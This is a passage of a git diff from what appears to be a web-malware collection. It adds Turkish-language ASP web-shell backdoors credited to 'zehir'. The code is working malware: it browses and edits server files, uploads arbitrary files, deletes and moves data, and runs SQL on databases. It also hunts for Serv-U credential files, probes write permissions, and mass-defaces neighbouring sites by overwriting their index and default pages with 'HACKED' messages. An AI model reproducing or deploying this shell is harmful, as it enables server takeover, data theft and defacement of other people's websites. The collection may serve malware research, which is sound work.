Class_Terminate() + Dim llngIndex + For llngIndex = 0 To mlngCount - 1 + Set mobjFieldAry(llngIndex) = Nothing + + Next + ReDim mobjFieldAry(-1) + End Sub + + Private Sub Class_Initialize() + ReDim mobjFieldAry(-1) + CR = ChrB(Asc(vbCr)) + LF = ChrB(Asc(vbLf)) + CRLF = CR & LF + mlngCount = 0 + Call RequestData + Call ParseDelimiter() + Call ParseData + End Sub + + Private Function CStrU(ByRef pstrANSI) + Dim llngLength + Dim llngIndex + llngLength = LenB(pstrANSI) + For llngIndex = 1 To llngLength + CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) + Next + End Function + + Private Function CStrB(ByRef pstrUnicode) + Dim llngLength + Dim llngIndex + llngLength = Len(pstrUnicode) + For llngIndex = 1 To llngLength + CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) + Next + End Function +End Class +'#################################### +Session("n1") = "byZ" +Class clsField + Public Name + Private mstrPath + Public FileDir + Public FileExt + Public FileName + Public ContentType + Public Value + Public BinaryData + Public Length + Private mstrText + + Public Property Get BLOB() + BLOB = BinaryData + End Property + + Public Function BinaryAsText() + Dim lbinBytes + Dim lobjRs + If Length = 0 Then Exit Function + If LenB(BinaryData) = 0 Then Exit Function + + If Not Len(mstrText) = 0 Then + BinaryAsText = mstrText + Exit Function + End If + lbinBytes = ASCII2Bytes(BinaryData) + mstrText = Bytes2Unicode(lbinBytes) + BinaryAsText = mstrText + End Function + + Public Sub SaveAs(ByRef pstrFileName) + Const adTypeBinary=1 + Const adSaveCreateOverWrite=2 + Dim lobjStream + Dim lobjRs + Dim lbinBytes + If Length = 0 Then Exit Sub + If LenB(BinaryData) = 0 Then Exit Sub + Set lobjStream = Server.CreateObject("ADODB.Stream") + lobjStream.Type = adTypeBinary + Call lobjStream.Open() + lbinBytes = ASCII2Bytes(BinaryData) + Call lobjStream.Write(lbinBytes) + + On Error Resume Next + + Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) + + 'if err<>0 then response.Write "
        "&err.Description + + Call lobjStream.Close() + Set lobjStream = Nothing + End Sub + + Public Property Let FilePath(ByRef pstrPath) + mstrPath = pstrPath + If Not InStrRev(pstrPath, ".") = 0 Then + FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1) + FileExt = UCase(FileExt) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1) + End If + If Not InStrRev(pstrPath, "\") = 0 Then + FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1) + End If + End Property + + Public Property Get FilePath() + FilePath = mstrPath + End Property + + private Function ASCII2Bytes(ByRef pbinBinaryData) + Const adLongVarBinary=205 + Dim lobjRs + Dim llngLength + Dim lbinBuffer + llngLength = LenB(pbinBinaryData) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0)) + Call lobjRs.Update() + lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength) + Call lobjRs.Close() + Set lobjRs = Nothing + ASCII2Bytes = lbinBuffer + End Function + + Private Function Bytes2Unicode(ByRef pbinBytes) + Dim lobjRs + Dim llngLength + Dim lstrBuffer + llngLength = LenB(pbinBytes) + Set lobjRs = Server.CreateObject("ADODB.Recordset") + Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength) + Call lobjRs.Open() + Call lobjRs.AddNew() + Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes) + Call lobjRs.Update() + lstrBuffer = lobjRs.Fields("BinaryData").Value + Call lobjRs.Close() + Set lobjRs = Nothing + Bytes2Unicode = lstrBuffer + End Function +End Class +Session("n2") = "ehir" +'#################################### +function addslash(path) + if right(path,1)="\" then addslash=path else addslash=path & "\" +end function + +sub Upload() + dim objUpload,f,max,i,name,path,size,success + + set objUpload=New clsUpload + + targetPath=objUpload.Fields("folder").Value + max=objUpload.Fields("max").Value + + for i=1 to max + name=objUpload.Fields("file" & i).FileName + size=objUpload.Fields("file" & i).Length + if (name<>"") and (size>0) then + gMsg=gMsg & "
        " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): " + path=addslash(targetPath) & name + objUpload.Fields("file" & i).SaveAs path + + if objFSO.FileExists(path) then + on error resume next + set f=objFSO.GetFile(path) + if IsObject(f) then + if f.Size=size then success=true else success=false + end if + set f=nothing + end if + if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!" + end if + next + response.Write gMsg + set objUpload=nothing + +end sub + +if status="-4" then + Upload() +' hataKontrol + popup=false +end if +'//////////////////////////////// +sub hataKontrol + if err<>0 then + Response.Write "Hata : "&err.Description&"" + end if +end sub + +sub araBul(path_,ara_) + on error resume next + If Len(path_) > 0 Then + cur = path_&"\" + If cur = "\\" Then cur = "" + parent = "" + If InStrRev(cur,"\") > 0 Then + parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) + End If + Else + cur = "" + End If + + Set f = objFSO.GetFolder(cur) + + Set fc = f.Files + For Each f1 In fc + if lcase(InStr(1,f1.name,lcase(ara_)))>0 then + downStr = "" + if lcase(ara_)="mdb" then + Response.Write downStr&" * "&f1.path&" ["&f1.size&"]"&"

        " + else + Response.Write downStr&"! - "&f1.path&" ["&f1.size&"]"&"

        " + end if + end if + Next + + Set fs = f.SubFolders + For Each f1 In fs + araBul f1.path,ara_ + Next + Set f = Nothing + Set fc = Nothing + Set fs = Nothing +end sub + +sub sistemTest + response.Write "" + response.Write "" + + servu_Test + WriteTestOnDriver + WriteTestOnLocalPath + LocalPathParentFolder + LocalPathPParentFolder + + response.Write "
        KonumSonu�
        " +end sub + +sub servu_Test + dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini") + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + for each d_ in dosya_ + d_ = drive_.DriveLetter&":\"&d_ + if objFSO.FileExists(d_) then + response.Write "Serv-U ini file : "&d_&"" + end if + next + end if + next +end sub + +function yaziyomu(yol) + on error goto 0:on error resume next + dim sonuc__ + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + sonuc__="Yazma Hakk� Yok!" + else + sonuc__="Yazma Hakk� Var!" + on error goto 0: on error resume next + objFSO.DeleteFile yol & "\test.zehir",true + if err<>0 then + sonuc__=sonuc__&"
        Silme Hakk� Yok!" + else + sonuc__=sonuc__&"
        Silme Hakk� Var!" + end if + end if + yaziyomu = sonuc__ +end function + +function yaziyomu2(yol) + on error goto 0:on error resume next + Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True) + MyFile.write "byzehir " + set MyFile = Nothing + if err<>0 then + yaziyomu2 = false + else + objFSO.DeleteFile yol & "\test.zehir" + yaziyomu2 = true + end if +end function + +sub WriteTestOnDriver + for each drive_ in objFSO.Drives + if drive_.Drivetype=2 or drive_.Drivetype=3 then + if not yaziyomu2(drive_.DriveLetter&":\") then + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!" + end if + end if + next +end sub + +sub WriteTestOnLocalPath + on error goto 0 + on error resume next + if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then + Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]" + else + Response.Write "Local Path yazma yetkisi var!" + end if +end sub + +sub LocalPathParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + Response.Write "Local Path
        Parent FolderHata Olu�tu : ["&err.Description&"]" + else + Response.Write "Local Path
        Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +sub LocalPathPParentFolder + on error goto 0 + on error resume next + hed_ = request.servervariables("APPL_PHYSICAL_PATH") + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + hed_ = left(hed_,InStrRev(hed_,"\")) + if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1) + parhed_ = left(hed_,InStrRev(hed_,"\")) + + Set f = objFSO.GetFolder(parhed_) + Set fc = f.SubFolders + int_fol=0 + int_fil=0 + For Each f1 In fc + int_fol=int_fol+1 + Next + + Set fc = f.files + For Each f1 In fc + int_fil=int_fil+1 + Next + + if err<>0 then + if err=451 then + Response.Write "Local Path
        P.Parent FolderData �st Klasor Yok :)" + else + Response.Write "Local Path
        P.Parent FolderHata Olu�tu : ["&err.Description&"]" + end if + else + Response.Write "Local Path
        P.Parent FolderFolder : "&FormatNumber(int_fol,0)&"
        File : "&FormatNumber(int_fil,0)&"" + end if +end sub + +SELECT CASE status +CASE 13 'Sistem Bilgisi + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        : Sistem Bilgileri :
        Local Adres " & request.servervariables("REMOTE_ADDR") & "
        User Agent " & request.servervariables("HTTP_USER_AGENT") & "
        Server " & request.servervariables("SERVER_NAME") & "
        IP " & request.servervariables("LOCAL_ADDR") & "
        HTTPD " & request.servervariables("SERVER_SOFTWARE") & "
        Port " & request.servervariables("SERVER_PORT") & "
        Yol " & request.servervariables("APPL_PHYSICAL_PATH") & "
        Log Root " & request.servervariables("APPL_MD_PATH") & "
        HTTPS " & request.servervariables("HTTPS") & "
        " + popup = false +CASE 14 'Upload and Search + aramaUpload + popup = false + hataKontrol +CASE 15 'Ms. SQL Server + Response.Write "
        " + Response.Write "
        SQL Server i�in connection string giriniz
        " + Response.Write "" + Response.Write "
        " + response.Write "" + Response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 16 'file Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 17 'file Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFile path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFile path,cf + isl="ta��nd�.." + end if + response.Write "Dosya "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 18 'folder Copy window + Response.Write "
        " + Response.Write "
        Kop. Yer : " + Response.Write "" + Response.Write "" + response.Write "" + Response.Write "
        " + response.Write "Kopyala" + response.Write "Tasi" + response.Write "
        " + response.Write "
        " + + popup = false + hataKontrol +CASE 19 'folder Copy + isl = "" + if islem="kopyala" then + objFSO.CopyFolder path,cf + isl="kopyaland�.." + elseif islem="tasi" then + objFSO.MoveFolder path,cf + isl="ta��nd�.." + end if + response.Write "Klasor "&isl + response.Write "
        Kaynak : "&path&"
        Hedef : "&cf + response.Write "
        " + popup = false + hataKontrol +CASE 33 'Powered By + response.Write "

        Powered by Zehir" + response.Write "

        zehirhacker@hotmail.com
        k�ll� nefsun zaifetun mevt" + popup = false + hataKontrol +CASE 40 'Sistem Test + sistemTest + popup=false +CASE 50 'Siteleri Test Edelim :D + %> + + + + +
        + G�venlik Testi byZehir +
        +
        + + + + + + + + + + + + + + + + + + + + +
        Path +
        Sub Folder +
        File Name +
        + + + + + +
        + index.htm
        + default.htm
        +
        + index.asp
        + default.asp
        +
        +
        + Kes + Kopyala + Yap��t�r + Bold + Italic + UnderLine + JustifyLeft + JustifyCenter + JustifyRight + AddLink + AddImage + + + + + + + +
        +
        +
        + <% + popup=false +CASE 51 ' �zel �ilemler +END SELECT +%> + + +<% +if popup then + if status=7 or status=8 then + Response.Write "
        " + Response.Write "
        SQL �al��t�r" + Response.Write "" + Response.Write "" + Response.Write "
        " + end if + Response.Write "
        " + Response.Write "
        Path : " + Response.Write "" + Response.Write "" + Response.Write "

        " +end if +sub aramaUpload +Response.Write "
        " +Response.Write "
        Arama : " +Response.Write " " +Response.Write "" +Response.Write "
        " +%> +
        " ID="Form1"> + +Max: + + + + +
        +
        + +
        + +<% +end sub + +SELECT CASE status +CASE 1 'Driver Open + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "" + Path = Path & ":/" + Response.Write "" + hataKontrol +CASE 2 'Normal listeleme + if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path)) + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + Response.Write "" + hataKontrol +CASE 3 'File Delete + objFSO.DeleteFile del + hataKontrol + if err<>0 then + byMsg="Not File Deleted!
        " + else + byMsg="File Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 4 'Folder Delete + objFSO.DeleteFolder del + hataKontrol + if err<>0 then + byMsg="Not Folder Deleted!
        " + else + byMsg="Folder Deleted Successful;)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg +CASE 5 'Dosya i�eri�ini g�r�nt�le + Response.Write "
        "&path&"

        " + Response.Write "
        " + KlasorOku + Response.Write "" + DosyaOku + Response.Write "
        " + set f = objFSO.OpenTextFile(path,1) + Response.Write "
        "&Server.HTMLEncode(f.readAll)&"
        " + if err<>62 then hataKontrol + if err.number=62 then Response.Write "":Response.End +CASE 6 'Resim a� + Response.Write "
        zehirhacker@hotmail.com / zehirhacker@hotmail.com

        " +CASE 7 'database tablo listele + Response.Write "Tablolar

        " + Set objConn = Server.CreateObject("ADODB.Connection") + Set objADOX = Server.CreateObject("ADOX.Catalog") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objADOX.ActiveConnection = objConn + + For Each table in objADOX.Tables + If table.Type = "TABLE" Then + Response.Write "4 "&table.Name&"
        " + End If + Next + hataKontrol +CASE 8 'database kay�t listele + Set objConn = Server.CreateObject("ADODB.Connection") + Set objRcs = Server.CreateObject("ADODB.RecordSet") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objRcs.Open table,objConn, adOpenKeyset , , adCmdText + + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + do while not objRcs.EOF + Response.Write "" + for i=0 to objRcs.Fields.count-1 + Response.Write "" + next + Response.Write "" + objRcs.MoveNext + loop + Response.Write "
           "&objRcs.Fields(i).Name&"   
        "&objRcs.Fields(i).Value&" 

        " + hataKontrol +CASE 9 'SQL Execute + Set objConn = Server.CreateObject("ADODB.Connection") + objConn.Provider = "Microsoft.Jet.Oledb.4.0" + objConn.ConnectionString = Path + objConn.Open + objConn.Execute strSQL +' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time + hataKontrol +CASE 10 'Dosya Editleme + set f = objFSO.OpenTextFile(dPath,1) + Response.Write "
        " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
        " + Response.Write "
        " + hataKontrol +CASE 11 'Dosya Kay�t + set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false) + hataKontrol + saveTextFile.Write(dkayit) + saveTextFile.close + if err<>0 then + byMsg = "Not File Edited!
        " + else + byMsg = "File Edited Successful:)
        " + end if + Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg +CASE 12 'Dosya Arama + araBul path,arama + hataKontrol +END SELECT +Response.Write "
        " + +sub DosyaOku + Set f = objFSO.GetFolder(Path) + Set fc = f.Files + For Each f1 In fc + dosyaAdi = f1.name + num = InStrRev(dosyaAdi,".") + uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num)) + downStr = "4" + response.Write "" + select case uzanti + case "mdb" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        M "&downStr&"
        " + case "asp" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&"
        !"&downStr&"
        " + case "jpg","gif" + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" "&downStr&"
        " + case else + Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&"
        " + end select + Next +end sub + +sub KlasorOku + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + if session("klasoroku")="" then + response.Write "" + session("klasoroku")="simdi yaz�l�yor" + end if + For Each f1 In fc + Response.Write "4 1"&f1.name&"
        " + Next +end sub + +function createFileName() +Randomize + fName_ = "" + for i=1 to 10 + fName_ = fName_ & int(Rnd*100) + next + createFileName = fName_ +end function + +function resimYol(path_) +on error resume next + path_ = Replace(Replace(path_,"\","/"),"//","/") + lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\")) + if yaziyomu2(lpath_) then + fname__ = "0"&createFileName()&"."&Right(path_,3) + objFSO.CopyFile path_, lpath_&"\"&fname__ + else + Response.Write("Resim A��lam�yor..
        �sterseniz Download Ederek g�r�nt�leyebilirsiniz..") + end if + resimYol = fname__ +end function + +if not popup then + Set fc = Nothing + Set objFSO = Nothing + Response.End +end if +%> + + <% + Response.Write "" + for each drive_ in objFSO.Drives + Response.Write "" + next + Response.Write "" + Response.Write "
        S�r�c�ler
        " + Response.write ";" + if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" + if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" + Response.Write "
        " + Response.write "H Local Path" + Response.Write "

        " +Set fc = Nothing +Set objFSO = Nothing +Response.End%> + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/zehir.txt b/web-malware-collection-master/Backdoors/ASP/zehir.txt new file mode 100755 index 0000000..1be2420 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/zehir.txt @@ -0,0 +1,1190 @@ +<% +mpat=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") +dosyaPath = mid(mpat,InStrRev(mpat,"\")+1) +on error resume next +Dim objFSO,popup +Set objFSO = CreateObject ("Scripting.FileSystemObject") +if Request("kuskapani")=1 then + Response.End +end if + + +if Request("kuskapani")=2 then + on error resume next + path = Request("path") + sFolder = Request("SubFolder") + fName = Request("FileName") + d1 = Request("dosya1") + d2 = Request("dosya2") + d3 = Request("dosya3") + d4 = Request("dosya4") + bg__ = Request.Form("selectColour") + if bg__ = "0" then bg__ = "#ffffff" + byMesaj = "" & Request("byMesaj") & "

        HACKED " & Session("n2") & "3 ;)" + + sFolder = Replace(sFolder,"/","\") + + if Right(sFolder,1)<>"\" then sFolder = sFolder & "\" + Set f = objFSO.GetFolder(Path) + Set fc = f.SubFolders + h__ = 0 + f__ = 0 + ss__ = now + For Each f1 In fc + hedef_ = replace(f1.path,"/","\") + if Right(hedef_,1)<>"\" then hedef_ = hedef_ & "\" + hedef__ = left(hedef_,len(hedef_)-1) + folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\")) + if d1<>"" then d1 = true + if d2<>"" then d2 = true + if d3<>"" then d3 = true + if d4<>"" then d4 = true + on error goto 0:on error resume next + if fName<>"" then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True) + MyFile.write byMesaj + end if + if d1 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True) + MyFile.write byMesaj + end if + if d2 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True) + MyFile.write byMesaj + end if + if d3 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True) + MyFile.write byMesaj + end if + if d4 then + Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True) + MyFile.write byMesaj + end if + + if err<>0 then + response.Write folderName_ & " [FAILED!]
        " + f__ = f__ + 1 + else + response.Write folderName_ & " [HACKED]
        " + h__ = h__ + 1 + end if + Next + ss___ = now + response.Write "
        by zehir!...
        Sonuc : Toplam S�re : "&left(ss__-ss___,5)&"sn. ;)
        Hacked = "&h__&"
        Failed = "&f__ + response.End +end if + +status = Request("status") +path = Request("path") +dPath = Request("dPath") +arama = Request("txArama") +dkayit = Request("dkayit") +table = Request("table") +del = Request("del") +islem = Request("islem") +strSQL = Request("strSQL") +cf = Request("cf") +pathfile = request("pathfile") +if path="" then path=request.servervariables("APPL_PHYSICAL_PATH") +if status="" then status=2 +popup = true +'//////////////////////////////// +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Dim BinaryStream + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function +if status="-3" then + Response.Buffer=True + Set Fil = objFSO.GetFile(pathfile) + + Response.contenttype="application/force-download" + Response.AddHeader "Cache-control","private" + Response.AddHeader "Content-Length", Fil.Size + Response.AddHeader "Content-Disposition", "attachment; filename=" & Fil.name + + Response.BinaryWrite readBinaryFile(Fil.path) + Set f = Nothing: Set Fil = Nothing + response.End() +end if +'////////////////////////////////// +if status="-4" then popup=false +if status="13" then popup=false +if status="14" then popup=false +if status="15" then popup=false +if status="16" then popup=false +if status="17" then popup=false +if status="18" then popup=false +if status="19" then popup=false +if status="33" then popup=false +if status="40" then popup=false +if status="50" then popup=false +byMsg = request.QueryString("byMsg") +if byMsg<>"" then response.Write byMsg +response.Write "zehir3 --> powered by zehir <zehirhacker@hotmail.com>" +if popup then +%> +
        +System Info + | +System Test + | +Sites Test + | +Folder Action + | +SQL Server + | +POWERED BY + +<% +end if +'#################################### +Class clsUpload + Private mbinData + Private mlngChunkIndex + Private mlngBytesReceived + Private mstrDelimiter + Private CR + Private LF + Private CRLF + Private mobjFieldAry() + Private mlngCount + + Private Sub RequestData + Dim llngLength + mlngBytesReceived = Request.TotalBytes + mbinData = Request.BinaryRead(mlngBytesReceived) + End Sub + + Private Sub ParseDelimiter() + mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1) + End Sub + + Private Sub ParseData() + Dim llngStart + Dim llngLength + Dim llngEnd + Dim lbinChunk + llngStart = 1 + llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF) + While Not llngStart = 0 + llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2 + llngLength = llngEnd - llngStart + lbinChunk = MidB(mbinData, llngStart, llngLength) + Call ParseChunk(lbinChunk) + llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF) + Wend + End Sub + + Private Sub ParseChunk(ByRef pbinChunk) + Dim lstrName + Dim lstrFileName + Dim lstrContentType + Dim lbinData + Dim lstrDisposition + Dim lstrValue + lstrDisposition = ParseDisposition(pbinChunk) + lstrName = ParseName(lstrDisposition) + lstrFileName = ParseFileName(lstrDisposition) + lstrContentType = ParseContentType(pbinChunk) + If lstrContentType = "" Then + lstrValue = CStrU(ParseBinaryData(pbinChunk)) + Else + lbinData = ParseBinaryData(pbinChunk) + End If + Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData) + End Sub + + Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData) + Dim lobjField + ReDim Preserve mobjFieldAry(mlngCount) + Set lobjField = New clsField + lobjField.Name = pstrName + lobjField.FilePath = pstrFileName + lobjField.ContentType = pstrContentType + If LenB(pbinData) = 0 Then + lobjField.BinaryData = ChrB(0) + lobjField.Value = pstrValue + lobjField.Length = Len(pstrValue) + Else + lobjField.BinaryData = pbinData + lobjField.Length = LenB(pbinData) + lobjField.Value = "" + End If + Set mobjFieldAry(mlngCount) = lobjField + mlngCount = mlngCount + 1 + End Sub + + Private Function ParseBinaryData(ByRef pbinChunk) + Dim llngStart + llngStart = InStrB(1, pbinChunk, CRLF & CRLF) + If llngStart = 0 Then Exit Function + llngStart = llngStart + 4 + ParseBinaryData = MidB(pbinChunk, llngStart) + End Function + + Private Function ParseContentType(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 15, pbinChunk, CR) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 15 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength))) + End Function + + Private Function ParseDisposition(ByRef pbinChunk) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF) + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 22 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength)) + End Function + + Private Function ParseName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 6, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 6 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseName = Mid(pstrDisposition, llngStart, llngLength) + End Function +' ------------------------------------------------------------------------------ + Private Function ParseFileName(ByRef pstrDisposition) + Dim llngStart + Dim llngEnd + Dim llngLength + llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare) + If llngStart = 0 Then Exit Function + llngEnd = InStr(llngStart + 10, pstrDisposition, """") + If llngEnd = 0 Then Exit Function + llngStart = llngStart + 10 + If llngStart >= llngEnd Then Exit Function + llngLength = llngEnd - llngStart + ParseFileName = Mid(pstrDisposition, llngStart, llngLength) + End Function + + Public Property Get Count() + Count = mlngCount + End Property + + Public Default Property Get Fields(ByVal pstrName) + Dim llngIndex + If IsNumeric(pstrName) Then + llngIndex = CLng(pstrName) + If llngIndex > mlngCount - 1 Or llngIndex < 0 Then + Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.") + Exit Property + End If + Set Fields = mobjFieldAry(pstrName) + Else + pstrName = LCase(pstrname) + For llngIndex = 0 To mlngCount - 1 + If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then + Set Fields = mobjFieldAry(llngIndex) + Exit Property + End If + Next + End If + Set Fields = New clsField + End Property + + Private Sub Class_Terminate() + Dim llngIndex + For llngIndex = 0 To mlngCount - 1 + Set mobjFieldAry(llngIndex) = Nothing + + Next + ReDim mobjFieldAry(-1) + End Sub + + Private Sub Class_Initialize() + ReDim mobjFieldAry(-1) + CR = ChrB(Asc(vbCr)) + LF = ChrB(Asc(vbLf)) + CRLF = CR & LF + mlngCount = 0 + Call RequestData + Call ParseDelimiter() + Call ParseData + End Sub + + Private Function CStrU(ByRef pstrANSI) + Dim llngLength + Dim llngIndex + llngLength = LenB(pstrANSI) + For llngIndex = 1 To llngLength + CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1))) + Next + End Function + + Private Function CStrB(ByRef pstrUnicode) + Dim llngLength + Dim llngIndex + llngLength = Len(pstrUnicode) + For llngIndex = 1 To llngLength + CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1))) + Next + End Function +End Class +'#################################### +Session("n1") = "by Ejder" +Class clsField + Public Name + Private mstrPath + Public FileDir + Public FileExt + Public FileName + Public ContentType + Public Value + Public BinaryData + Public Length + Private mstrText + + Public Property Get BLOB() + BLOB = BinaryData + End Property + + Public Function BinaryAsText() + Dim lbinBytes + Dim lobjRs + If Length = 0 Then Exit Function + If LenB(BinaryData) = 0 Then Exit Function + + If Not Len(mstrText) = 0 Then + BinaryAsText = mstrText + Exit Function + End If + lbinBytes = ASCII2Bytes(BinaryData) + mstrText = Bytes2Unicode(lbinBytes) + BinaryAsText = mstrText + End Function + + Public Sub SaveAs(ByRef pstrFileName) + Const adTypeBinary=1 + Const adSaveCreateOverWrite=2 + Dim lobjStream + Dim lobjRs + Dim lbinBytes + If Length = 0 Then Exit Sub + If LenB(BinaryData) = 0 Then Exit Sub + Set lobjStream = Server.CreateObject("ADODB.Stream") + lobjStream.Type = adTypeBinary + Call lobjStream.Open() + lbinBytes = ASCII2Bytes(BinaryData) + Call lobjStream.Write(lbinBytes) + + On Error Resume Next + + Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite) + + 'if err<>0 then response.Write "
